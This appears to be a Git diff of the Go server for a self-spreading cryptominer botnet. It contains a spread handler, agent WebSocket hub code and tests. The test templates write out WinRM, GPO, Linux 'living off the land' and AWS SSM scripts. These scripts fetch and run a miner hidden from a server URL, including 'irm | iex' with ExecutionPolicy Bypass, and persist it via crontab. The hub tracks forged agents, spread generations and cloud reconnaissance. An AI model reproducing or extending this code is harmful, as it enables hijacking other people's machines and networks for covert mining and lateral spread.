dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
||||
type SpreadHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
wsHub *WSHub
|
||||
publicURL func() string
|
||||
erasureShards *erasure.ShardStore
|
||||
deployPlan *DeployPlanHandler
|
||||
s3CRRConfigFn func() erasure.S3ShardConfig
|
||||
policyPathTracer *PathTracerHandler
|
||||
policyFanoutCfgFn func() PolicyFanoutConfig
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
|
||||
if h != nil {
|
||||
h.erasureShards = store
|
||||
}
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
|
||||
if h != nil {
|
||||
h.deployPlan = handler
|
||||
}
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
|
||||
if h != nil {
|
||||
h.s3CRRConfigFn = fn
|
||||
}
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
|
||||
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.s3CRRConfigFn == nil {
|
||||
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"template": "templates/spread/aws/s3-crr-rule.json",
|
||||
"rule": doc,
|
||||
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
|
||||
})
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
wsHub *WSHub
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
||||
|
||||
@@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) {
|
||||
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil {
|
||||
winrmScript := `# WinRM bootstrap
|
||||
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
powershell.exe -EncodedCommand $encoded
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
||||
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
linuxScript := `#!/bin/sh
|
||||
LOTL_MODE='{{LOTL_MODE}}'
|
||||
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
|
||||
systemd-run --user --unit=aetherforge-worker.service
|
||||
persist_crontab() { crontab -; }
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
||||
if err := os.MkdirAll(entDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gpoScript := `# GPO computer startup script
|
||||
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
||||
$env:AETHER_DEFER_MINING = '1'
|
||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ssmDir := filepath.Join(root, "templates", "spread", "ssm")
|
||||
_ = os.MkdirAll(ssmDir, 0o755)
|
||||
_ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
|
||||
_ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
|
||||
_ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
|
||||
}
|
||||
|
||||
func TestDeployPlanSSMDocumentLane(t *testing.T) {
|
||||
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
|
||||
cases := map[string]struct {
|
||||
subdir string
|
||||
zip string
|
||||
}{
|
||||
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
|
||||
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
|
||||
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||
}
|
||||
for tpl, want := range cases {
|
||||
subdir, zip, err := spreadTemplatePaths(tpl)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", tpl, err)
|
||||
}
|
||||
if subdir != want.subdir || zip != want.zip {
|
||||
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
|
||||
}
|
||||
}
|
||||
_, _, err := spreadTemplatePaths("bogus-lane")
|
||||
if err == nil || !strings.Contains(err.Error(), "unknown template") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanWinRMLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "linux", BuildID: "b1", Campaign: "ssm-lab",
|
||||
}, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"})
|
||||
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
|
||||
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" {
|
||||
if plan.JoinLane != "winrm" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
if !strings.Contains(plan.SSMDocument, "schemaVersion") {
|
||||
t.Fatalf("doc=%s", plan.SSMDocument)
|
||||
for _, marker := range []string{
|
||||
"http://127.0.0.1:8989/get?os=windows",
|
||||
"--spread-install",
|
||||
"--defer-mining",
|
||||
"Enable-PSRemoting",
|
||||
} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanGPOLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
|
||||
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "gpo" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
|
||||
t.Fatalf("script missing query suffix: %s", plan.Script)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
|
||||
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
buildDir := filepath.Join(dir, "builds", "b1")
|
||||
_ = os.MkdirAll(buildDir, 0o755)
|
||||
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
artifact := filepath.Join(buildDir, "worker.exe")
|
||||
_ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644)
|
||||
_ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact})
|
||||
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return NewDeployPlanHandler(database, dir, projectRoot,
|
||||
func() string { return "http://127.0.0.1:8989" },
|
||||
func() string { return "fleet-test" },
|
||||
|
||||
@@ -100,7 +100,6 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
|
||||
|
||||
in.LaneSuccess = collectLaneSuccessStats(hub)
|
||||
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
|
||||
in.FargateBurstActive = hub.fargateBurstActive()
|
||||
return in
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
@@ -179,12 +179,6 @@ type WSHub struct {
|
||||
epidemiology *epidemiology.Tracker
|
||||
miningSurgery *miningsurgery.Tracker
|
||||
contingencyOrch *mining.ContingencyOrchestrator
|
||||
fargateBurstCampaign bool
|
||||
fargateBurstExpiresAt time.Time
|
||||
fargateBurstTTLHours int
|
||||
policySnapshotToken string
|
||||
policyEventBridgeRelayURL string
|
||||
policyPublicBaseURL func() string
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -208,10 +202,6 @@ type WSHub struct {
|
||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||
scoutAgents map[string]bool
|
||||
|
||||
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
|
||||
cloudVenueMu sync.Mutex
|
||||
cloudVenues *fleetai.CloudVenueRegistry
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
@@ -692,8 +682,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
|
||||
StrainCardID string `json:"strain_card_id,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
@@ -856,9 +844,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
|
||||
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
|
||||
})
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
log.Printf("Failed to upsert agent: %v", err)
|
||||
@@ -953,7 +938,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
spreadPolicy := map[string]interface{}{}
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" {
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
@@ -962,28 +947,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||
}
|
||||
if policy.AwsS3ShardRegion != "" {
|
||||
spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion
|
||||
}
|
||||
if policy.AwsCloudFrontDomain != "" {
|
||||
spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain
|
||||
}
|
||||
}
|
||||
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
||||
for k, v := range scoutPolicy {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
|
||||
for k, v := range cloudPolicy {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
|
||||
for k, v := range fanout {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
@@ -1495,34 +1464,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
||||
}
|
||||
|
||||
case "cloud_venue_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var report struct {
|
||||
CloudProvider string `json:"cloud_provider"`
|
||||
Environment string `json:"environment"`
|
||||
Workload string `json:"workload"`
|
||||
InstanceType string `json:"instance_type"`
|
||||
InstanceLifecycle string `json:"instance_lifecycle"`
|
||||
OrganizationalUnit string `json:"organizational_unit"`
|
||||
EC2Tags map[string]string `json:"ec2_tags"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &report); err != nil {
|
||||
continue
|
||||
}
|
||||
if strings.TrimSpace(report.CloudProvider) == "" {
|
||||
report.CloudProvider = "aws"
|
||||
}
|
||||
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
|
||||
Environment: report.Environment,
|
||||
Workload: report.Workload,
|
||||
InstanceType: report.InstanceType,
|
||||
InstanceLifecycle: report.InstanceLifecycle,
|
||||
OrganizationalUnit: report.OrganizationalUnit,
|
||||
EC2Tags: report.EC2Tags,
|
||||
})
|
||||
|
||||
case "ai_snapshot":
|
||||
if agentID == "" {
|
||||
continue
|
||||
|
||||
Reference in New Issue
Block a user